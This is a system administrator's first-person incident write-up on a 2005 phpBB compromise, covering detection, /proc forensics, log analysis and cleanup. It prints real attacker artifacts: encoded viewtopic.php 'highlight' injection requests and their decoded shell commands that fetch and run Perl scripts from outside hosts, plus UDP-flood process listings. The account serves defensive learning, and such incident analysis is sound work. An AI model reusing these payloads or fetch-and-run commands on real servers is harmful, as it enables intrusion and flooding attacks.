This document describes a server compromise caused by a vulnerability in phpBB, from my detection of the breakin, to the cleanup, analysis, and patch afterward. Most of these methods were explained to me by William Stearns , a Linux security expert. I am reprinting them here in hopes that they will be of use to someone else with similar problems.
NEW: Several readers have reported that Norton Antivirus and other AV programs report an IRC Trojan when this page is loaded. The page is not actually infected with anything; it contains, for illustrative purposes, the text of some IRC hacker files that I had found on the compromised server. Norton and other products see that data in the network traffic coming to your computer when you load the page in your browser, and they think it's an attack. But it's definitely not. I have now obscured that part of the page's content to stop this false alarm from being triggered.
NEW: Translate ascii-value-encoded web requests into human-readable format here.
Background. phpBB is a popular, open-source electronic bulletin board package that uses the powerful Hypertext PreProcessor (PHP) scripting language. Using a database (typically MySQL) as its back end, phpBB is a full-featured, searchable, flexible system for creating discussion "forums" with multiple levels of access privileges, the ability to split and move threads, endless modular customization, etc. Naturally, it has grown into a huge and fairly complex codebase, and its rising popularity has made it a target for blackhat exploits ranging from "spamming" (posting large numbers of unrelated messages in unprotected forums), to full-blown defacements and leveraging of database servers to launch attacks on other servers, as in the case of the recent "Santy" worm. From News.com.com:
The worm sends Google a specific search request, essentially asking for a list of vulnerable sites. Armed with the list, the worm then attempts to spread to those sites using a PHP request designed to exploit the phpBB bulletin board software. ... Using Google to determine vulnerable sites is not an academic exercise. The worm does exactly that: Once Santy infects a Web site, it searches Google for other sites running phpBB and then attempts to infect those sites as well. ... After it has taken over a site, the worm deletes all HTML, PHP, active server pages (ASP), Java server pages (JSP), and secure HTML pages, and replaces them with the text, "This site is defaced!!! This site is defaced!!! NeverEverNoSanity WebWorm generation X," according to Kaspersky [Lab]. For "X," the worm inserts a number representing how far the current instance of the program is descended from the original worm release. MSN searches have found 24th generations of the worm.
Google responded quickly and began to filter the specific queries used by the worm to find vulnerable sites, thus cutting down dramatically on the infection rate. However, as is often the case, the vulnerability leveraged by this worm can of course be utilized for manual attacks, and that appears to have been the case with my server, several weeks after the Santy worm had been reported.
I knew about the Santy worm, but I was slow to patch my installations. I run nearly a dozen phpBBs on my server (under virtual hosts, so each one is on a different domain). Some of them have had customizations ("mods) installed, making upgrades much more difficult and error-prone; some of these are mission-critical to the organizations whose websites I host. Also, the timing of the Santy worm (the news was posted the night before I left for a two-week vacation) was unfortunate.
My temporary stopgap, then, was to drop a .htaccess file into each of the top-level phpBB directories on my server, requiring an Apache-realm-level login and password to access the forums (this is on top of, and in addition to, any login requirements for phpBB itself; see this document for info about Apache realms.) I then created a simple login/pass pair for that realm ("forum"/"forum") and published it on my site's main page (and emailed it to all the users I could think of). Posting the login info on the main webpage is absurdly stupid; but, because the threat was (at this point) a worm, which was not programmed to "read" a webpage and act on that new information, I figured it would do for the time being, without impeding my users' needs. And, for two weeks, it worked. I got caught up in other things, news of the worm died down, and I didn't get around to patching phpBB.
My guess is that someone manually searching for phpBB installations came across my page and saw the password info. On the morning of Saturday, January 15th, sendmail (running on the same server as the phpBBs) stopped accepting connections; I shelled in to see why.
Discovery. Sendmail had stopped working because the process load on the server was way too high. I ran ps -auxf (show all processes, extended (processes without controlling ttys), with the user they're running as, in forest view (parent-child relationships). An excerpted and edited view of the results (should have more columns) showed a number of suspicious processes running as the "apache" user:
apache 14041 ? R 134:08 /usr/local/apache/bin/smb -start apache 14166 ? S 0:00 /usr/local/apache/bin/smb -start apache 14167 ? S 0:00 \_ sh -c perl udp.pl 66.252.16.2 22 9000 2>&1 3>&1 apache 14168 ? R 129:27 \_ perl udp.pl 66.252.16.2 22 9000 apache 14173 ? S 0:00 /usr/local/apache/bin/smb -start apache 14174 ? S 0:00 \_ sh -c perl udp.pl 66.252.16.2 80 9000 2>&1 3>&1 apache 14175 ? R 129:14 \_ perl udp.pl 66.252.16.2 80 9000 apache 14180 ? S 0:00 /usr/local/apache/bin/smb -start apache 14181 ? S 0:00 \_ sh -c perl udp.pl 66.252.16.2 53 9000 2>&1 3>&1 apache 14182 ? R 129:33 \_ perl udp.pl 66.252.16.2 53 9000 apache 14778 ? S 0:00 /usr/local/apache/bin/smb -start apache 14785 ? S 0:00 ./kf apache 15543 ? S 0:00 /usr/local/apache/bin/smb -start apache 15544 ? S 0:00 \_ sh -c perl udp.pl 218.111.34.225 53 50 2>&1 3>&1 apache 15545 ? R 95:58 \_ perl udp.pl 218.111.34.225 53 50 apache 15611 ? S 0:00 /usr/local/apache/bin/smb -start apache 15612 ? S 0:00 \_ sh -c perl udp.pl 69.10.152.236 80 9000 2>&1 3>&1 apache 15614 ? R 93:41 \_ perl udp.pl 69.10.152.236 80 9000 apache 15644 ? S 0:00 /usr/local/apache/bin/smb -start apache 15645 ? S 0:00 \_ sh -c perl udp.pl 219.95.165.51 53 100 2>&1 3>&1 apache 15646 ? R 93:19 \_ perl udp.pl 219.95.165.51 53 100 apache 15686 ? S 0:00 /usr/local/apache/bin/smb -start apache 15687 ? S 0:00 \_ sh -c perl udp.pl 219.95.158.233 53 100 2>&1 3>&1 apache 15689 ? R 92:55 \_ perl udp.pl 219.95.158.233 53 100 apache 15865 ? S 0:00 /usr/local/apache/bin/smb -start apache 15866 ? S 0:00 \_ sh -c perl udp.pl 218.111.177.64 53 100 2>&1 3>&1 apache 15867 ? R 90:25 \_ perl udp.pl 218.111.177.64 53 100 apache 16094 ? S 0:00 /usr/local/apache/bin/smb -start apache 16095 ? S 0:00 \_ sh -c perl udp.pl 66.216.105.56 53 90000 2>&1 3>&1 apache 16096 ? R 85:36 \_ perl udp.pl 66.216.105.56 53 90000 apache 16098 ? S 0:00 sh -c (sleep 90000;killall -9 udp) & apache 16099 ? S 0:00 \_ sleep 90000 apache 16106 ? S 0:00 /usr/local/apache/bin/smb -start apache 16107 ? S 0:00 \_ sh -c perl udp.pl 66.216.105.56 80 90000 2>&1 3>&1 apache 16110 ? R 85:34 \_ perl udp.pl 66.216.105.56 80 90000 apache 16112 ? S 0:00 sh -c (sleep 90000;killall -9 udp) & apache 16113 ? S 0:00 \_ sleep 90000
It was pretty obvious that something nasty was happening. I called Bill Stearns, and the rest that follows here was pretty much me doing what he said to do, and explaining the logic as he explained it to me. :)
Containment (the wrong way). Since the processes appeared to be sending some sort of traffic to several foreign IPs, the first priority was to stop that from happening, lest my server be seen as the source. It is worth noting at this point that, in this writeup, I am mostly condensing the stories of two separate instances of this compromise into one; the reality is that I got hacked twice within two days, and the real forensics only happened the second time. The first time, I just panicked and killed all the procs and didn't know what had happened. My panicky kill, if you're curious, was not as simple as it should've been, because for some reason, the scripts were impervious to the usual "killalls". I ended up doing the following:
ps auxf | grep apache | awk {'print $2'} | xargs kill -9
In other words, take all the apache-owned processes, filter out just their process ID's (the second column of output, therefore "$2"), and send a kill -9 to each. This is NOT the right approach if you want to find out any meaningful information about what's happened to your system; the right approach is detailed below.
After I nuked the bad processes, I spent a futile three hours combing through copious logfiles, but found nothing conclusive. I also looked for the script under the path that appeared in the process listing (/usr/local/apache/bin/smb), but my system didn't even have a /usr/local/apache directory. The only "smb" binary I had was under a completely different location, and had not been altered in months. I also could not find anything called "udp.pl", even after I ran "updatedb" to update the "locate" database. It appears that updatedb is set to ignore directories beginning with dots, which makes sense since otherwise it could end up recursing through the normal single-dot and double-dot directories forever. (But it also seems that they could look for multi-dot directories other than those two, since this is such a common hacker trick. If I am misinterpreting here, please email me.) Anyway, I wasn't able to find out much.
At this point, I did not really suspect the phpBB vulnerability (since I'd password-protected the directories and expected only dumb worms to go after me), but rather I assumed it was one of my custom PHP scripts. So, focusing my attention on _those_ scripts, and not knowing what to look for, I found nothing. I decided to wait and see if I got nailed again, and I did.
Containment (the right way). The next morning, sendmail acted fine, but only because the hack had not yet consumed enough CPU to bring it to its knees. The same processes were running again, not necessarily directed at the same IPs, but it was obviously the same attack. This time, I ran:
kill -STOP processidThe -STOP parameter "freezes" the process, leaving it in memory, but stopping it from actually doing anything. So my server was no longer attacking its targets, but we could still examine the /proc/ entries (detailed below), which we could not do if we sent an all-out kill.
Analysis. Noting the process id of one of the instantiations of the bad processes (e.g. 3503), I went over to the /proc/ virtual directory to peek at the internals of the process itself:
-bash2-2.05b# cd /proc/3503 -bash2-2.05b# ls auxv cwd exe maps mounts stat status wchan cmdline environ fd mem root statm task -bash2-2.05b#The number and type of entries for each process will vary, and some of the entries are not human-readable (binary trash if you view them in "less"). But several can be very informative. I first looked at the "cwd" (current working directory) entry; unfortunately, I didn't save the output, but it revealed that the actual location of the udp.pl script was "/var/tmp/", so I took a look:
-bash2-2.05b# cd /var/tmp -bash2-2.05b# ls udp.pl
There it is, udp.pl. But also...
-bash2-2.05b# ls -al total 20 drwxrwxrwt 4 root root 4096 Jan 15 03:34 . drwxr-xr-x 20 root root 4096 Apr 1 2004 .. drwxr-xr-x 2 apache apache 4096 Jan 13 16:42 ... drwxr-xr-x 2 apache apache 4096 Jan 15 03:35 .... -rw-r--r-- 1 apache apache 1089 Jan 13 13:57 udp.pl -bash2-2.05b#
Directories named with dots are a telltale sign. They are hidden in a normal directory listing. Also not that they're apache-owned, and very recent. A recursive listing (ls -alR) revealed a copy of udp.pl in each of the two subdirectories (triple and quadruple dot; the single and double dot dirs are normal.) I presume that there are multiples so that an administrator might blow away the visible one and think he was finished; or perhaps the bad guys were trampling each other, who knows. Running diff showed no differences between any of the copies of udp.pl.
The contents of udp.pl are shown at the end of this document, here.
The next /proc entry to play with was "cmdline", which as you might expect, shows the command line with which the process was called. It's garbaged up a bit with non-readable characters (shown as carat-@sign here), but it's still revealing:
perl^@udp.pl^@202.75.43.181^@53^@9000^@
This shows the syntax used to run the script. Which is also apparent from the output of ps, but it tells us that the "/usr/local/apache" line is bogus, and was probably changed after the script launched in order to make it appear less suspicious in a casual process view.
More /proc coolness: In the "fd" (file descriptor) subdirectory, an ls showed a ton of integers. I ran ls -al to show that they are displayed as symlinks to a bunch of files. Excerpt:
-bash2-2.05b# ls -al total 0 dr-x------ 2 root root 0 Jan 18 13:22 . dr-xr-xr-x 3 apache apache 0 Jan 18 13:22 .. lr-x------ 1 root root 64 Jan 18 13:22 0 -> /dev/null l-wx------ 1 root root 64 Jan 18 13:22 1 -> /dev/null lrwx------ 1 root root 64 Jan 18 13:22 10 -> /var/log/httpd/www.adomain.org-error_log lrwx------ 1 root root 64 Jan 18 13:22 2 -> /var/log/httpd/error_log lrwx------ 1 root root 64 Jan 18 13:22 3 -> socket:[4138103] lrwx------ 1 root root 64 Jan 18 13:22 34 -> /var/log/httpd/ssl_error_log l-wx------ 1 root root 64 Jan 18 13:22 35 -> /var/log/httpd/access_log l-wx------ 1 root root 64 Jan 18 13:22 37 -> /var/log/httpd/www.anotherdomain.org-access_log lrwx------ 1 root root 64 Jan 18 13:22 4 -> socket:[4138104] .... l-wx------ 1 root root 64 Jan 18 13:22 37 -> /home/www.a-domain.com/html/forums/viewtopic.php
Each of the files/sockets shown here, is or was opened by the process in question. The last one gave me the answer: The same script used by the Santy worm was in use by the webserver. (FIXME clarify "in use" here -- e.g. why aren't "viewed" webpages "in use")
That narrowed things down a lot. Since each virtual domain hosted on the server has a separate set of httpd logfiles, I was able to quickly find the compromise in the access log for that domain, by grepping for "viewtopic.php". There were several legitimate requests, but the bogus ones were easy to spot because of their ridiculous length:
219.93.192.150 - - [13/Jan/2005:14:39:35 -0500] "GET /forums/viewtopic.php?t=20&highlight=%2527%252esystem(chr(101)%252echr(99)% 252echr(104)%252echr(111)%252echr(32)%252echr(117)%252echr(110)%252echr(99)%252echr(111)%252echr(109)%252echr(101)%252echr(99)%2 52echr(111)%252echr(59)%252echr(99)%252echr(100)%252echr(32)%252echr(47)%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252e chr(102)%252echr(101)%252echr(116)%252echr(99)%252echr(104)%252echr(32)%252echr(107)%252echr(105)%252echr(102)%252echr(102)%252e chr(46)%252echr(104)%252echr(111)%252echr(108)%252echr(108)%252echr(111)%252echr(115)%252echr(105)%252echr(116)%252echr(101)%252 echr(46)%252echr(99)%252echr(111)%252echr(109)%252echr(47)%252echr(100)%252echr(98)%252echr(97)%252echr(115)%252echr(101)%252ech r(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(112)%252echr(101)%252echr(114)%252echr(108)%252echr(32)%252echr (100)%252echr(98)%252echr(97)%252echr(115)%252echr(101)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(1 14)%252echr(109)%252echr(32)%252echr(100)%252echr(98)%252echr(97)%252echr(115)%252echr(101)%252echr(46)%252echr(116)%252echr(120 )%252echr(116)%252echr(59)%252echr(101)%252echr(99)%252echr(104)%252echr(111)%252echr(32)%252echr(117)%252echr(110)%252echr(102) %252echr(105)%252echr(109))%252e%2527 HTTP/1.0" 200 29209 "-" "Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0)"
and
192.147.161.98 - - [09/Jan/2005:07:49:29 -0500] "GET /forums/viewtopic.php?p=35&highlight=%2527%252Esystem(chr(112)%252Echr(101) %252Echr(114)%252Echr(108)%252Echr(32)%252Echr(45)%252Echr(101)%252Echr(32)%252Echr(34)%252Echr(112)%252Echr(114)%252Echr(105)%2 52Echr(110)%252Echr(116)%252Echr(32)%252Echr(113)%252Echr(40)%252Echr(106)%252Echr(83)%252Echr(86)%252Echr(111)%252Echr(119)%252 Echr(77)%252Echr(115)%252Echr(100)%252Echr(41)%252Echr(34))%252E%2527 HTTP/1.0" 200 28319 "-" "Mozilla/4.0" 192.147.161.98 - - [09/Jan/2005:07:49:31 -0500] "GET /forums/viewtopic.php?p=35&highlight=%2527%252Esystem(chr(119)%252Echr(103) %252Echr(101)%252Echr(116)%252Echr(32)%252Echr(119)%252Echr(119)%252Echr(119)%252Echr(46)%252Echr(115)%252Echr(99)%252Echr(97)%2 52Echr(114)%252Echr(102)%252Echr(97)%252Echr(99)%252Echr(101)%252Echr(46)%252Echr(117)%252Echr(119)%252Echr(104)%252Echr(111)%25 2Echr(115)%252Echr(116)%252Echr(46)%252Echr(110)%252Echr(101)%252Echr(116)%252Echr(47)%252Echr(102)%252Echr(111)%252Echr(114)%25 2Echr(117)%252Echr(109)%252Echr(115)%252Echr(47)%252Echr(47)%252Echr(97)%252Echr(115)%252Echr(119)%252Echr(46)%252Echr(116)%252E chr(120)%252Echr(116)%252Echr(59)%252Echr(32)%252Echr(112)%252Echr(101)%252Echr(114)%252Echr(108)%252Echr(32)%252Echr(97)%252Ech r(115)%252Echr(119)%252Echr(46)%252Echr(116)%252Echr(120)%252Echr(116)%252Echr(32)%252Echr(119)%252Echr(119)%252Echr(119)%252Ech r(46)%252Echr(107)%252Echr(101)%252Echr(109)%252Echr(101)%252Echr(110)%252Echr(121)%252Echr(115)%252Echr(107)%252Echr(105)%252Ec hr(100)%252Echr(115)%252Echr(46)%252Echr(99)%252Echr(111)%252Echr(109)%252Echr(47)%252Echr(102)%252Echr(111)%252Echr(114)%252Ech r(117)%252Echr(109)%252Echr(115)%252Echr(47)%252Echr(59))%252E%2527 HTTP/1.0" 200 51737 "-" "Mozilla/4.0" 192.147.161.98 - - [09/Jan/2005:07:49:34 -0500] "GET /forums/viewtopic.php?p=35&highlight=%2527%252Esystem(chr(99)%252Echr(100)% 252Echr(32)%252Echr(47)%252Echr(116)%252Echr(109)%252Echr(112)%252Echr(59)%252Echr(32)%252Echr(119)%252Echr(103)%252Echr(101)%25 2Echr(116)%252Echr(32)%252Echr(119)%252Echr(119)%252Echr(119)%252Echr(46)%252Echr(115)%252Echr(99)%252Echr(97)%252Echr(114)%252E chr(102)%252Echr(97)%252Echr(99)%252Echr(101)%252Echr(46)%252Echr(117)%252Echr(119)%252Echr(104)%252Echr(111)%252Echr(115)%252Ec hr(116)%252Echr(46)%252Echr(110)%252Echr(101)%252Echr(116)%252Echr(47)%252Echr(102)%252Echr(111)%252Echr(114)%252Echr(117)%252Ec hr(109)%252Echr(115)%252Echr(47)%252Echr(47)%252Echr(97)%252Echr(115)%252Echr(119)%252Echr(46)%252Echr(116)%252Echr(120)%252Echr (116)%252Echr(59)%252Echr(32)%252Echr(112)%252Echr(101)%252Echr(114)%252Echr(108)%252Echr(32)%252Echr(97)%252Echr(115)%252Echr(1 19)%252Echr(46)%252Echr(116)%252Echr(120)%252Echr(116)%252Echr(32)%252Echr(119)%252Echr(119)%252Echr(119)%252Echr(46)%252Echr(11 5)%252Echr(99)%252Echr(97)%252Echr(114)%252Echr(102)%252Echr(97)%252Echr(99)%252Echr(101)%252Echr(46)%252Echr(117)%252Echr(119)% 252Echr(104)%252Echr(111)%252Echr(115)%252Echr(116)%252Echr(46)%252Echr(110)%252Echr(101)%252Echr(116)%252Echr(47)%252Echr(102)% 252Echr(111)%252Echr(114)%252Echr(117)%252Echr(109)%252Echr(115)%252Echr(47)%252Echr(59))%252E%2527 HTTP/1.0" 200 51949 "-" "Moz illa/4.0"
The key indicator here is the word "system" occurring early in the GET request; many scripting languages, including PHP and Perl, use "system" to execute shell commands. The rest that follows are ASCII values representing alphanumeric characters which comprise the commands run on the system. There were a bunch (about 30) of these latter triplets in the access log, and a few instances of the former single request.
The single request translates to:
echo uncomeco;cd /tmp;fetch kiff.hollosite.com/dbase.txt;perl dbase.txt;rm dbase.txt;echo unfim
The full text of dbase.txt is printed below. Sure enough, this script makes the process appear to be running from /usr/local/apache/smb. Cute!
The request triplets translate to:
perl -e "print q(jSVowMsd)" wget www.scarface.uwhost.net/forums//asw.txt; perl asw.txt www.kemenyskids.com/forums/; cd /tmp; wget www.scarface.uwhost.net/forums//asw.txt; perl asw.txt www.scarface.uwhost.net/forums/;
These triplets are the footprints of the anti-santy worm -- see below.
I poked around the /proc entry for awhile longer, then checked the contents of /tmp, which is world-writeable and therefore often the dumping ground for attack fallout. There were many interesting things in /tmp, owned by apache:
-bash2-2.05b# ls -al /tmp/ | grep apache total 3532 -rw-r--r-- 1 apache apache 3341 Dec 30 06:00 asw.txt -rw-r--r-- 1 apache apache 3338526 Jan 11 06:53 log.txt -rw-r--r-- 1 apache apache 24376 Jan 10 14:41 viewtopic.php?t=555%2Fasw.txt -rw-r--r-- 1 apache apache 24376 Jan 10 14:41 viewtopic.php?t=555%2Fasw.txt.1 -rw-r--r-- 1 apache apache 24376 Jan 10 14:41 viewtopic.php?t=555%2Fasw.txt.2 -rw-r--r-- 1 apache apache 24376 Jan 10 14:41 viewtopic.php?t=555%2Fasw.txt.3 -rw-r--r-- 1 apache apache 24376 Jan 10 14:41 viewtopic.php?t=555%2Fasw.txt.4 -rw-r--r-- 1 apache apache 24376 Jan 10 14:41 viewtopic.php?t=555%2Fasw.txt.5
"asw.txt"? A quick peek at its first few lines (full text printed below) revealed its identity:
-bash2-2.05b# head asw.txt # asw: anti santy worm # this worm will try to fix any viewtopic.php on local box # will use this box for 1 day to search other buggy phpBB forums, and end. use strict; use IO::Socket; use IO::Handle; sub fetch(); sub remote($); -bash2-2.05b#
Ha! The anti-santy worm! It had whacked me weeks earlier. The file "log.txt" belonged to it as well, and contained a huge (51,000 lines) list of phpBB installations that presumably it had checked and/or fixed. At the top of the logfile were entries for several of my phpBBs, but only one of them was marked "Fixed". Perhaps asw was unable to detect/fix the others because of mods or other alterations to the viewtopic.php script. The other files in /tmp, all identical except for the number appended to the filename, appear to be snapshots of a particular thread on a forum of some random website discussing culture, work, sex, etc. I have no idea why they're there. (Email me if you do, please!)
Recovery and Cleanup. I completely disabled the forum installation that had been used in the attack (renamed it and moved it out of webroot) until I can patch phpBB. I also deleted the apache account that I had posted on the main webpage. Since the webserver runs as the default, unprivileged "apache" user, the attackers had not been able to do any other damage, elevate their privileges, run any sniffers, etc. and after some perfunctory checks of the RPM database and other key pieces of server infrastructure, I was satisfied that the server was clean and that the attack would not be successful again (or at least, if it were, I'd be able to rapidly determine the source of the problem and disable it.)
Lessons Learned. Keep up with patches, and don't post login credentials on your website...duhhhhhhhh
Appendices. The files below are the actual scripts/programs I found on the server. The links will display plain text files in your browser, however, your antivirus software MAY flag the traffic since the scripts by definition contain known attack signatures. But they are just text files.
Appendix A: udp.pl (UDP flood script). Click here for plain text copy. NOTE: content may trigger antivirus alert; it is safe to disregard.
Appendix B: asw.txt (anti-santy worm). Click here for plain text copy. NOTE: content may trigger antivirus alert; it is safe to disregard.
Appendix C: dbase.txt (IRC server backdoor script). Click here for plain text copy. NOTE: content may trigger antivirus alert; it is safe to disregard.
References: